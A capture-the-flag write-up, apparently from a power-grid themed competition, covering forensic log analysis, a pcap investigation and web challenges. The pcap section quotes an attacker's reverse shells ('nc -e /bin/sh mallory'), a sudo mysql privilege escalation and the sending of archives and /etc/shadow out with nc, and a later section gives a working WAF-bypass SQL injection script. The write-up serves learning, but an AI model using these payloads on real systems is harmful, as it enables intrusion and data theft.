1 python3 /usr/lib/python3/dist-packages/plaso/scripts/psort.py -w pouet.csv image.plaso

```



Looking at this file, I focused on network logs :

```
1 | grep nfdump pouet.csv | cut -f 5 -d',' | cut -d " " -f 4 | sort | uniq
2 | 10.99.25.22
3 | 10.99.25.23
4 | 10.99.25.24
5 | 10.99.25.25
6 | 10.99.25.252
7 | 10.99.25.28
8 | 2001:db8:7cc::25:11
9 | 2001:db8:7cc::25:25
10 | 2001:db8:7cc::25:252
11 | 2001:db8:7cc::25:26
12 | 2001:db8:7cc::25:27
13 | 2001:db8:7cc::25:28
14 | 2001:db8:7cc::25:29
```

After enumerating a while I discovered that 10.99.25.28 hosts a web server that was visibly own by the villain.

A first rapid inspection reveal some interesting folders :

```
1 | dirsearch -u 10.99.25.28
2 | /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
  pkg_resources is deprecated as an API. See
  https://setuptools.pypa.io/en/latest/pkg_resources.html
3 |   from pkg_resources import DistributionNotFound, VersionConflict
4 |
5 |   _|. _ _  _ _ _ _|_   v0.4.3
6 |   (|||| _) (/ _ (| | (| | )
7 |
8 | Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size:
  11460
9 |
10 |
11 | Target: http://10.99.25.28/
12 |
13 | [00:36:51] Starting:
14 | [00:37:05] 301 - 169B - /current -> http://10.99.25.28/current/
15 | [00:37:21] 200 - 4KB - /ssh/
16 | [00:37:24] 301 - 169B - /tools -> http://10.99.25.28/tools/
17 | [00:37:24] 403 - 555B - /tools/
18 |
19 | Task Completed
```

ssh folder contains several ssh key pairs :

```
1 | <html>
2 | <head><title>Index of /ssh/</title></head>
3 | <body>
4 | <h1>Index of /ssh/</h1><hr><pre><a href="..">../</a>
5 | <a href="id_doublepower_01">id_doublepower_01</a>
  Aug-2025 13:15 3381
```

|    |                                                           |                   |      |     |
|----|-----------------------------------------------------------|-------------------|------|-----|
| 6  | <a href="id_doublepower_01.pub">id_doublepower_01.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 7  | <a href="id_doublepower_02">id_doublepower_02</a>         | Aug-2025 13:15    | 3381 | 27- |
| 8  | <a href="id_doublepower_02.pub">id_doublepower_02.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 9  | <a href="id_doublepower_03">id_doublepower_03</a>         | Aug-2025 13:15    | 3381 | 27- |
| 10 | <a href="id_doublepower_03.pub">id_doublepower_03.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 11 | <a href="id_doublepower_04">id_doublepower_04</a>         | Aug-2025 13:15    | 3381 | 27- |
| 12 | <a href="id_doublepower_04.pub">id_doublepower_04.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 13 | <a href="id_doublepower_05">id_doublepower_05</a>         | Aug-2025 13:15    | 3381 | 27- |
| 14 | <a href="id_doublepower_05.pub">id_doublepower_05.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 15 | <a href="id_doublepower_06">id_doublepower_06</a>         | Aug-2025 13:15    | 3381 | 27- |
| 16 | <a href="id_doublepower_06.pub">id_doublepower_06.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 17 | <a href="id_doublepower_07">id_doublepower_07</a>         | Aug-2025 13:15    | 3381 | 27- |
| 18 | <a href="id_doublepower_07.pub">id_doublepower_07.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 19 | <a href="id_doublepower_08">id_doublepower_08</a>         | Aug-2025 13:15    | 3381 | 27- |
| 20 | <a href="id_doublepower_08.pub">id_doublepower_08.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 21 | <a href="id_doublepower_09">id_doublepower_09</a>         | Aug-2025 13:15    | 3381 | 27- |
| 22 | <a href="id_doublepower_09.pub">id_doublepower_09.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 23 | <a href="id_doublepower_10">id_doublepower_10</a>         | Aug-2025 13:15    | 3381 | 27- |
| 24 | <a href="id_doublepower_10.pub">id_doublepower_10.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 25 | <a href="id_doublepower_11">id_doublepower_11</a>         | Aug-2025 13:15    | 3381 | 27- |
| 26 | <a href="id_doublepower_11.pub">id_doublepower_11.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 27 | <a href="id_doublepower_12">id_doublepower_12</a>         | Aug-2025 13:15    | 3381 | 27- |
| 28 | <a href="id_doublepower_12.pub">id_doublepower_12.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 29 | <a href="id_doublepower_13">id_doublepower_13</a>         | Aug-2025 13:15    | 3381 | 27- |
| 30 | <a href="id_doublepower_13.pub">id_doublepower_13.pub</a> | 27-Aug-2025 13:15 | 739  |     |
| 31 | <a href="id_doublepower_14">id_doublepower_14</a>         | Aug-2025 13:15    | 3381 | 27- |

```

32 <a href="id_doublepower_14.pub">id_doublepower_14.pub</a>
    27-Aug-2025 13:15          739
33 <a href="id_doublepower_15">id_doublepower_15</a>                                27-
    Aug-2025 13:15          3381
34 <a href="id_doublepower_15.pub">id_doublepower_15.pub</a>
    27-Aug-2025 13:15          739
35 <a href="id_doublepower_16">id_doublepower_16</a>                                27-
    Aug-2025 13:15          3381
36 <a href="id_doublepower_16.pub">id_doublepower_16.pub</a>
    27-Aug-2025 13:15          739
37 </pre><hr></body>
38 </html>

```

```

1 gobuster dir -r -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-
  2.3-medium.txt -u http://10.99.25.28/tools/ -x
  zip,sql.bak,tgz,log,py,pub,php.bak,bak,tar.gz,tar,id_rsa,sh,pl,rb,cgi,jar,js,php,php3,p
  hp3,phar,sql,bkp,rar,xml,csv,html,json,txt,old,php.old,html.old,html.OLD,gz,OLD
2 =====
3 Gobuster v3.8
4 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
5 =====
6 [+] Url: http://10.99.25.28/tools/
7 [+] Method: GET
8 [+] Threads: 10
9 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-
  Content/directory-list-2.3-medium.txt
10 [+] Negative Status codes: 404
11 [+] User Agent: gobuster/3.8
12 [+] Extensions:
  OLD,rb,xml,sql,csv,html,tgz,sh,jar,php,phar,json,php.old,log,js,txt,old,html.old,bak,bk
  p,zip,sql.bak,py,pub,php.bak,tar.gz,id_rsa,cgi,tar,pl,php3,rar,html.OLD,gz
13 [+] Follow Redirect: true
14 [+] Timeout: 10s
15 =====
16 Starting gobuster in directory enumeration mode
17 =====
18 /sc (Status: 200) [Size: 11960160]

```

Tools folder contained a binary to encode or decode files: `sc`

### ⚠ Caution

⚠ Be careful virustotal detects this file as *trojan.python/vzoqt* !

⚠ 24/65 security vendors flagged this file as malicious

Reanalyze Similar More

ba15d08372421687729694b3cb108c83504a2f8fb6b3e18ed8eb69f45db4e73d  
l2biofo.exe

Size  
11.41 MB

Last Analysis Date  
a moment ago

elf sets-process-name 64bits

I used a dedicated KALI VM for this CTF, I think it should be safe enough... 😊

```
1 file sc
2 sc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter
  /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0,
  BuildID[sha1]=eb586756c39e4efd29c393a8b324b3af04fd9a90, stripped
```

A second more intensive search reveals more folders :

```
1 dirsearch -u http://10.99.25.28 -w /usr/share/wordlists/dirbuster/directory-list-2.3-
  medium.txt
2 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning:
  pkg_resources is deprecated as an API. See
  https://setuptools.pypa.io/en/latest/pkg_resources.html
3     from pkg_resources import DistributionNotFound, VersionConflict
4
5     _|. _ _  _  _ _ _|. v0.4.3
6     (||||_|) (/_(||| (|_|)
7
8 Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size:
  220545
9
10 Target: http://10.99.25.28/
11
12 [00:42:59] Starting:
13 [00:43:00] 301 - 169B - /tools -> http://10.99.25.28/tools/
14 [00:43:00] 301 - 169B - /current -> http://10.99.25.28/current/
15 [00:43:01] 301 - 169B - /my -> http://10.99.25.28/my/
16 [00:43:02] 301 - 169B - /ssh -> http://10.99.25.28/ssh/
17 [00:43:09] 301 - 169B - /keys -> http://10.99.25.28/keys/
18
19 Task Completed
```

keys folder contains a lot of public/private key pairs. But, for now, no clue on when I would need it. I guess I will need them to decrypt stolen files... we will see...

After a closer look to logs, villain use a remote shell `get_user_by__iid` to execute commands. They manage to create a homedir with a `.ssh/authorized_keys` file.

After that they used ssh to connect to the server, upload their tool `sc` and encrypt the `/srv/shared` dir. Then they made an archive of it.

After enumerating and collecting informations from logs I figured out that just after the creation of the archive an ssh connexion between victim's server and `2001:db8:7cc::25:29` was started.

So I decided to test each ssh key retrieved from the villain's server against this new IP adress. So I wrote a simple script to do that :

```

1 #!/bin/bash
2
3 for user in 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16; do
4     for id in $(/bin/ls -1 id_doublepower* | grep -v pub); do
5         echo "Testing user $user with id $id"
6         ssh -i $id $user@10.99.25.29
7     done
8 done

```

And finally one of those key worked 😊

On this host there was an archive : shared.tar.gz

As expected the content was encrypted, as I guessed we can decrypt those with the `sc` binary.

But there is a huge amount of private keys to test, so... let's do a little script :

```

1 #!/bin/bash
2
3 for key in `ls -1 10.99.25.28/keys/*.pem`; do
4     ./sc decrypt tmp/srv/shared $key
5 done

```

With that I managed to decrypt the files.

Now, I had to find the flag. There is a bunch of markdown files, a jpeg file and a csv. But this particular file seemed to be a good candidate 😊

```

1 Facility,Right SD operator,Left SD operator
2 Riverbend Hydro,dk1MLUN5Y1EtT2hDcH0=,QkFEQUJPT017c1FGZy0z
3 Granite Peak Nuclear,TFRTLWJLbkItMDcwVH0=,QkFEQUJPT017bVNBVC1l
4 Sunnyvale Solar Farm,MGNXLTBaMu8tQk44M30=,QkFEQUJPT017dFpVcy1u
5 Windy Plains Windpark,clk2LWZfV24tOVNSMX0=,QkFEQUJPT017Q2ZaSC1J
6 Ironclad Coal Plant,d01GLVhRN3ctYjdp0H0=,QkFEQUJPT017SEp3Qi13
7 Bluewave Tidal,dXBVLTFDeXQtU2puan0=,QkFEQUJPT017WU5RMyl3
8 Mountainview Nuclear,RGxMLTFtTFUtRUDYan0=,QkFEQUJPT017TWduWi04
9 Greenfield Biomass,NE56LThFYUwtdTVoM30=,QkFEQUJPT017a2dkby16
10 Starlight Solar,TU9SLXhTa08tbGd6bH0=,QkFEQUJPT017dFI0TC1t
11 Thunderbolt Hydro,MzljLWlPV3AtNlNJYn0=,QkFEQUJPT017cHVpSC1n
12 Coalridge Thermal,RVg5LWtzVEIteUoxZH0=,QkFEQUJPT0170DdVTC16
13 Northwind Windpark,V3J2LWxUNustMzBpax0=,QkFEQUJPT017cXRXbi1q
14 Horizon Nuclear,dGJVLVNmUmEtUWxKQ30=,QkFEQUJPT017bmlKdi1n
15 Desert Sun Solar,YmhkLXgx0VgtTFNEQ30=,QkFEQUJPT017ZDgyRC1L
16 Rivermill Hydro,Qk1nLVEwMzctaVZSNn0=,QkFEQUJPT017Z3NvMC1Z
17 Blackrock Coal,SktYLXZTdUwtQzFBVX0=,QkFEQUJPT017VW5KSylR
18 Oceanwave Tidal,bFNKLWxCTmItU1VKVn0=,QkFEQUJPT017WE5yRS1V
19 Forestview Biomass,QjMwLVFaUHQtQjhDRH0=,QkFEQUJPT017Z21Tay10
20 Skylight Solar,ZmZLLTFWU2QtNGMzUn0=,QkFEQUJPT017bmlKdi1n
21 Rapidfall Hydro,M2xCLWZHeVktWmFzYn0=,QkFEQUJPT017YU9kdi11
22 Ember Coal Plant,ak1VLXY4M2UtWmFhWX0=,QkFEQUJPT017YlE4Vy1w
23 Windcrest Windpark,cWNtLTywcHctcjZYMx0=,QkFEQUJPT017SDlrTS1I
24 Aurora Nuclear,eUlaLWdSM1AtdfJJVn0=,QkFEQUJPT017RlJDWi1H

```

I used another script to decode base64 and reorder data :

```
1 { IFS=, read -r h1 h2 h3; echo "$h1,$h2,$h3";
2   while IFS=, read -r facility right left; do
3     r_dec=$(printf '%s' "$right" | base64 -d 2>/dev/null)
4     l_dec=$(printf '%s' "$left" | base64 -d 2>/dev/null)
5     printf '%s%s\n' "$l_dec" "$r_dec"
6   done
7 } < powerplant_selfdestruction.csv
```

Here is the result :

```
1 Facility,Right SD operator,Left SD operator
2 BADABOOM{rQFg-3vML-CycQ-0hCp}
3 BADABOOM{mSAT-eLTS-bKnB-070T}
4 BADABOOM{tZUs-n0cW-0Z10-BN83}
5 BADABOOM{CfZH-IrY6-fEwn-9SR1}
6 BADABOOM{HJwB-wwMF-XQ7w-b7i8}
7 BADABOOM{YNQ3-wupU-1Cyt-SjnJ}
8 BADABOOM{MgnZ-8DlL-1mLU-EGXj}
9 BADABOOM{kgdo-z4Nz-8EaL-u5h3}
10 BADABOOM{tR4L-mMOR-xSk0-lgzl}
11 BADABOOM{puiH-g39c-i0Wp-6SIb}
12 BADABOOM{87UL-zEX9-ksTB-yJ1d}
13 BADABOOM{qtWn-jWrv-lT5K-30ii}
14 BADAFLAG{xxxx-xxxx-xxxx-xxxx}
15 BADABOOM{d82D-Kbhd-x19X-LSDC}
16 BADABOOM{gso0-YBMg-Q037-iVR6}
17 BADABOOM{UnJK-QJKX-vSuL-C1AU}
18 BADABOOM{XNrE-UlSJ-lBnb-SUJV}
19 BADABOOM{gmSk-tB30-QZPt-B8CD}
20 BADABOOM{niJv-gffK-1VSd-4c3R}
21 BADABOOM{a0dv-u3lB-fGyY-Zasb}
22 BADABOOM{bQ8W-pjMU-v83e-ZaaY}
23 BADABOOM{H9kM-Hqcm-60pw-r6X1}
24 BADABOOM{FRCZ-GyIZ-gR3P-tRIV}
25 BADABOOM{Gjxy-X9gm-13Y6-kfSV}
```

I got the ~~BADA~~ flag !

\o/

## Suspicious communication

Hi, emergency troubleshooter,

one of our web servers has apparently been compromised, analyze what happened from the record of recorded suspicious communication.

Stay grounded!

- [Download pcap for analysis](#)

Here we got a packet capture file.

I found several interesting http and tcp flux :

```
1 GET /app HTTP/1.1
2 Host: server-www
3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: keep-alive
7 Authorization: Basic YWxpY2U6dGVzdGVy
8
9
10 HTTP/1.1 301 Moved Permanently
11 Date: Wed, 16 Jul 2025 08:06:24 GMT
12 Server: Apache/2.4.62 (Debian)
13 Location: http://server-www/app/
14 Content-Length: 306
15 Keep-Alive: timeout=5, max=100
16 Connection: Keep-Alive
17 Content-Type: text/html; charset=iso-8859-1
18
19 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
20 <html><head>
21 <title>301 Moved Permanently</title>
22 </head><body>
23 <h1>Moved Permanently</h1>
24 <p>The document has moved <a href="http://server-www/app/">here</a>.</p>
25 <hr>
26 <address>Apache/2.4.62 (Debian) Server at server-www Port 80</address>
27 </body></html>
28
29 GET /app/ HTTP/1.1
30 Host: server-www
31 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
32 Accept-Encoding: gzip, deflate
33 Accept: */*
34 Connection: keep-alive
35 Authorization: Basic YWxpY2U6dGVzdGVy
36
37
38 HTTP/1.1 200 OK
39 Date: Wed, 16 Jul 2025 08:06:24 GMT
40 Server: Apache/2.4.62 (Debian)
41 Set-Cookie: PHPSESSID=ilhougcufpn8behsd2l2n6joi; path=/
42 Expires: Thu, 19 Nov 1981 08:52:00 GMT
43 Cache-Control: no-store, no-cache, must-revalidate
44 Pragma: no-cache
45 Vary: Accept-Encoding
46 Content-Encoding: gzip
47 Content-Length: 337
```

```

48 Keep-Alive: timeout=5, max=99
49 Connection: Keep-Alive
50 Content-Type: text/html; charset=UTF-8
51
52 <!DOCTYPE html>
53 <html lang="en">
54 <head>
55     <meta charset="UTF-8">
56     <title>Simple Auth App</title>
57     <link rel="stylesheet" href="/app/css/bootstrap.min.css">
58 </head>
59 <body class="p-5">
60 <div class="container">
61 <nav class="mb-4">
62     <a href="/app/index.php" class="btn btn-outline-primary mr-2">Home</a>
63     <a href="/app/registered.php" class="btn btn-outline-primary mr-2">Registered
64     Users</a>
65     <a href="/app/logout.php" class="btn btn-outline-danger">Logout</a>
66 </nav><h1 class="mb-4">Welcome, alice!</h1>
67 <p class="lead">These pages are under construction.</p>
68 </div>
69 </body>
70 </html>

```

This http flux gave me creds in headers : `Authorization: Basic YWxpY2U6dGVzdGVy`.

```

1 echo -ne 'YWxpY2U6dGVzdGVy' | base64 -d -
2 alice:tester

```

I'll see if I need it later.

```

1 POST /uploads/ws.php HTTP/1.1
2 Host: server-www
3 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: keep-alive
7 Content-Length: 37
8 Content-Type: application/x-www-form-urlencoded
9 Authorization: Basic YWxpY2U6dGVzdGVy
10
11 c=nc+-e+%2Fbin%2Fsh+mallory+42121+%26
12 HTTP/1.1 200 OK
13 Date: Wed, 16 Jul 2025 08:06:40 GMT
14 Server: Apache/2.4.62 (Debian)
15 Content-Length: 0
16 Keep-Alive: timeout=5, max=100
17 Connection: Keep-Alive
18 Content-Type: text/html; charset=UTF-8

```

The pirate uploaded remote command php script and used it to spawn a reverse shell



```

1 id
2
3 uid=33(www-data) gid=33(www-data) groups=33(www-data)
4
5 uname -a
6
7 Linux 2c1c649ff17d 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22)
  x86_64 GNU/Linux
8
9 whoami
10
11 www-data
12
13 pwd
14
15 /var/www/html/uploads
16
17 df -h
18
19 Filesystem      Size  Used Avail Use% Mounted on
20 overlay          98G   44G   51G   47% /
21 tmpfs            64M     0   64M    0% /dev
22 shm              64M     0   64M    0% /dev/shm
23 /dev/sda2        98G   44G   51G   47% /shared
24 tmpfs            3.9G     0   3.9G    0% /proc/acpi
25 tmpfs            3.9G     0   3.9G    0% /sys/firmware
26
27 tar -zcf /tmp/html.tgz /var/www/html
28 cat /tmp/html.tgz | nc mallory 42122
29 sudo -l
30
31 Matching Defaults entries for www-data on 2c1c649ff17d:
32   env_reset, mail_badpass,
33   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
34   use_pty
35
36 User www-data may run the following commands on 2c1c649ff17d:
37   (root) NOPASSWD: /usr/bin/mysql*
38
39 sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'
40 exit

```

They uploaded an archive of /var/www/html directory and after figuring out that they can run mysql binary as root, uses it for privesc

```

1 cat /etc/passwd
2
3 root:x:0:0:root:/root:/bin/bash
4 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
5 bin:x:2:2:bin:/bin:/usr/sbin/nologin
6 sys:x:3:3:sys:/dev:/usr/sbin/nologin
7 sync:x:4:65534:sync:/bin:/bin/sync

```

```

 8 games:x:5:60:games:/usr/games:/usr/sbin/nologin
 9 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
10 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
11 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
12 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
13 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
14 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
15 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
16 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
17 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
18 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
19 _apt:x:42:65534::/nonexistent:/usr/sbin/nologin
20 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
21 mysql:x:100:101:MySQL Server,,,:/nonexistent:/bin/false
22 messagebus:x:101:102::/nonexistent:/usr/sbin/nologin
23 tcpdump:x:102:104::/nonexistent:/usr/sbin/nologin
24 webmaster:x:1000:1000:,,,:/home/webmaster:/bin/bash
25
26 tar zcf /tmp/all.tgz /etc /root /home
27 curl -k -s https://mallory:42120/pincode/`hostname -f` > /tmp/secret
28 ls -alh /tmp
29
30 total 17M
31 drwxrwxrwt 1 root      root      4.0K Jul 16 08:07 .
32 drwxr-xr-x 1 root      root      4.0K Jul 16 08:05 ..
33 -rw-r--r-- 1 root      root      17M Jul 16 08:07 all.tgz
34 -rw----- 1 root      root      182 Jul 16 08:05 apache2-stderr---supervisor-
gvz1qfqv.log
35 -rw----- 1 root      root           0 Jul 16 08:05 apache2-stdout---supervisor-
l6ohlz0u.log
36 -rw-r--r-- 1 www-data www-data  46K Jul 16 08:07 html.tgz
37 -rw----- 1 root      root           0 Jul 16 08:05 mysqld_safe-stderr---supervisor-
g6ruwbqj.log
38 -rw----- 1 root      root      135 Jul 16 08:05 mysqld_safe-stdout---supervisor-
lct36jfa.log
39 drwxr-xr-x 2 root      root      4.0K Jul 16 08:05 output
40 -rw----- 1 root      root      131 Jul 16 08:05 pcap-stderr---supervisor-cl8n5_cp.log
41 -rw----- 1 root      root           0 Jul 16 08:05 pcap-stdout---supervisor-qrq22yby.log
42 -rw-r--r-- 1 root      root        6 Jul 16 08:07 secret
43
44 cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass
file:/tmp/secret | nc mallory 42124
45 cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass
file:/tmp/secret | nc mallory 42125
46 exit

```

After getting root access the pirate created an archive for `/etc /root /home` directories.

Then they downloaded a pincode file from their computer and used it create two encrypted files

```

1 cat /etc/shadow | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass
  file:/tmp/secret | nc mallory 42124
2 cat /tmp/all.tgz | openssl enc -aes-256-cbc -e -a -salt -pbkdf2 -iter 10 -pass
  file:/tmp/secret | nc mallory 42125

```

So I extracted this two files too ! Now I need to guess this pincode/passphrase

To discover this pin code I wrote a script to brute-force it :

```

1  #!/bin/bash
2
3  # Declare wordlists
4  wordlist=$1
5
6
7  # Loop through wordlist
8  while read passTry; do
9      echo "Trying $passTry"
10     openssl enc -aes-256-cbc -d -a -pbkdf2 -iter 10 -k $passTry -in shadow.enc.b64 -out
    shadow &>/dev/null
11     file shadow | grep ": ASCII" -q
12
13     if [ $? -eq 0 ]; then
14         echo "PASSWORD FOUND!"
15         echo "Pass is: $passTry"
16         exit 0
17     fi
18 done < $wordlist

```

As wordlist I gave it a list of all variations of 6 digits pincode

And here it is ! Pincode cracked ! 🤖

I extracted both archives a start to enumerate. After a looong search I finally understood that the certificates used by apache and present in /etc/ssl could be used to decrypt TLS sessions included in pcap file.

After a while I finally found a sequence where the pirate used backup.php and I managed to retrieve the base64 result.

Then I had a look at the source code of backup.php to learn how flag.txt was encrypted.

And I wrote a decrypt php script.

The hacker was logged as Alice and as I found before the same user was used in plain http session :

```
alice:tester
```

But... tester is not the right password... damned ! 😞

Ok... then let's try to brute force it !

```

1
2 function makeKey(string $password): string {
3     // 32 octets bruts (raw) issus du SHA-256 du mot de passe
4     return hash('sha256', $password, true);

```

```

5 }
6
7 function makeIv(string $password): string {
8     // ⚠ EXACTEMENT comme dans ton chiffrement : 16 *caractères* du hash hexadécimal
9     // (et non 16 octets bruts)
10    return substr(hash('sha256', 'iv' . $password), 0, 16);
11 }
12
13 function decryptFlag(string $base64Ciphertext, string $password): string {
14     $key = makeKey($password);
15     $iv  = makeIv($password);
16
17     $plain = openssl_decrypt($base64Ciphertext, 'aes-256-cbc', $key, 0, $iv);
18     return $plain;
19 }
20
21 $wordfile = $argv[1];
22 $contents = fopen($wordfile, "r");
23 $cipher   = 'aOI32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBb0WHY=';
24 // $cipher = 'FA5wvsJ/JdKrVjZalaa68Q==';
25
26 while (!feof($contents)) {
27     $password = str_replace("\n", "", fgets($contents));
28     echo "Trying $password"."\\n";
29     $plain = "";
30     $plain = decryptFlag($cipher, $password);
31     if (stripos($plain, 'FLAG') !== false) {
32         echo "Password found : $password"."\\n";
33         echo "FLAG : $plain"."\\n";
34         break;
35     }
36 }
37 fclose($contents);

```

I launched this script with rockyou.txt and here we go !

After a while the password was found and flag revealed !

\o/

---

## New services

### Single Sign-on

Hi, emergency troubleshooter,

we are preparing a new interface for the single sign-on system, which, on the recommendation of external pentesters, is now also protected by a WAF. Test the system to ensure it is secure.

Stay grounded!

- <http://login.powergrid.tcc:8080>

In this challenge we have to test the security of an SSO portal. This portal is behind a WAF.

`http://login.powergrid.tcc:8080` redirects to `http://intranet.powergrid.tcc:8080` but this url is not in the DNS.

So, I added `intranet.powergrid.tcc` in my `/etc/hosts`.

First I tried to determine which vulnerability could be used.

When I tried to send some special crafted credentials :

```
1 username : admin'
2 password : password
```

I got :

```
1 Database error: SQLSTATE[HY000]: General error: 1 near "password": syntax error
```

OK, so there is a SQLi vuln.

And of course, If I try to bypass authentication mechanism through `admin' OR 1=1;--` the WAF sent a 403 http return code.

After searching a while I finally found a trick that I didn't know : <https://portswigger.net/daily-swig/google-waf-bypassed-via-oversized-post-requests>.

This article explains how to bypass a WAF by sending an oversized POST request. Some WAF reads no more than 8192 bytes and others no more than 128KB.

So I made a python script that craft this oversized request :

```
1 #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3
4  URL = "http://intranet.powergrid.tcc:8080/index.php"
5  PAYLOAD = "' OR 1=1;--"
6  LOGIN = "a"*(131072-len(PAYLOAD)) + PAYLOAD
7  PASSWORD = "password"
8  PADDING = " "
9
10 HEADERS = {
11     "Content-Type": "application/x-www-form-urlencoded",
12     "User-Agent": "Mozilla/5.0",
13     "Accept": "*/*",
14     "Accept-Encoding": "identity",
15     "Origin": "http://intranet.powergrid.tcc:8080",
16     "Referer": "http://intranet.powergrid.tcc:8080/index.php",
17 }
18 # =====
19
20 import sys
21
22 try:
23     from urllib.parse import urlencode, urlparse
```

```

24 except ImportError:
25     from urllib import urlencode
26     from urlparse import urlparse
27
28 from urllib.request import Request, urlopen
29 from urllib.error import HTTPError, URLError
30
31
32 def preview_http_request(url, headers, payload_bytes):
33     """
34     Affiche un aperçu 'brut' de la requête HTTP:
35     - Ligne de requête
36     - En-têtes (dont Host + Content-Length calculés ici pour l'aperçu)
37     - Corps encodé (x-www-form-urlencoded)
38     """
39     u = urlparse(url)
40     path = u.path or "/"
41     if u.query:
42         path += "?" + u.query
43
44     default_port = 443 if u.scheme == "https" else 80
45     host = u.hostname if (u.port in (None, default_port)) else "{}:
46     {}".format(u.hostname, u.port)
47
48     show_headers = [("Host", host)]
49
50     for k, v in headers.items():
51         show_headers.append((k, v))
52
53     show_headers.append(("Content-Length", str(len(payload_bytes))))
54
55     sys.stdout.write("=== REQUEST (preview) ===\n")
56     sys.stdout.write("POST {} HTTP/1.1\n".format(path))
57     for k, v in show_headers:
58         sys.stdout.write("{}: {}\n".format(k, v))
59     sys.stdout.write("\n")
60
61     try:
62         sys.stdout.write(payload_bytes.decode("utf-8", "replace"))
63     except Exception:
64         sys.stdout.buffer.write(payload_bytes)
65         sys.stdout.write("\n\n")
66
67 def main():
68
69     data = {
70         "login": LOGIN,
71         "password": PASSWORD,
72         "padding": PADDING,
73     }
74     payload = urlencode(data).encode("utf-8") # x-www-form-urlencoded
75

```

```

76     preview_http_request(URL, HEADERS, payload)
77
78     req = Request(URL, data=payload, headers=HEADERS)
79
80     try:
81         with urlopen(req, timeout=20) as r:
82             status = getattr(r, "status", 200)
83             resp_headers = dict(r.getheaders())
84             body = r.read()
85     except HTTPError as e:
86         status = e.code
87         resp_headers = dict(e.headers.items())
88         body = e.read()
89     except URLError as e:
90         sys.stderr.write("Erreur réseau: {}\n".format(e))
91         sys.exit(2)
92
93
94     sys.stdout.write("=== RESPONSE ===\n")
95     sys.stdout.write("HTTP/1.1 {}\n".format(status))
96     for k, v in resp_headers.items():
97         sys.stdout.write("{}: {}\n".format(k, v))
98     sys.stdout.write("\n")
99     try:
100         sys.stdout.write(body.decode("utf-8", "replace"))
101     except Exception:
102         sys.stdout.buffer.write(body)
103     if not str(body).endswith("\n"):
104         sys.stdout.write("\n")
105
106
107 if __name__ == "__main__":
108     main()
109

```

Here is the response :

```

1  [...]
2  <div class='result success'>Login successful! Welcome, admin!</div><div class='result
   success'><strong>Your Flag:</strong> FLAG{xxxx-xxxx-xxxx-xxxx}</div><h3>All users in
   the database (SQLi successful):</h3><pre>Array
3  (
4      [0] => Array
5          (
6              [id] => 1
7              [login] => admin
8              [password] => super-secret-password-123
9          )
10
11     [1] => Array
12         (
13             [id] => 2
14             [login] => guest

```

```

15         [password] => guest-password-123
16     )
17
18 )
19 </pre>
20 <footer>
21     © 2025 TCC Powergrid Corporation. All rights reserved.

```

I got the flag !

\o/

## Role management system

Hi, emergency troubleshooter,

we urgently need to replace the outdated identity management system with a new progressive solution. Verify that it is functioning properly and that no information leakage is occurring. New instance is running on server `idm-new.powergrid.tcc`.

Stay grounded!

Going <http://idm-new.powergrid.tcc/> leads us to two different pages :

- <http://idm-new.powergrid.tcc/login>
- <http://idm-new.powergrid.tcc/user>

The first one aims to authenticate users based on their mail adresse and password.

The second one is a signup page, but this functionality is disabled.

But after a quick enumeration it appeared that <http://idm-new.powergrid.tcc/user/1> show some precious informations. Almost every user has non-privileged account execept one :

```

1  for i in {1..30}; do echo "$i:"; curl -s http://idm-new.powergrid.tcc/user/$i | grep
    badge | grep -v ROLE_USER; done

```

User 22 has ROLE\_ADMIN

I used a script to bruteforce this account :

```

1  #!/usr/bin/env python3
2  # -*- coding: utf-8 -*-
3
4  import re
5  import sys
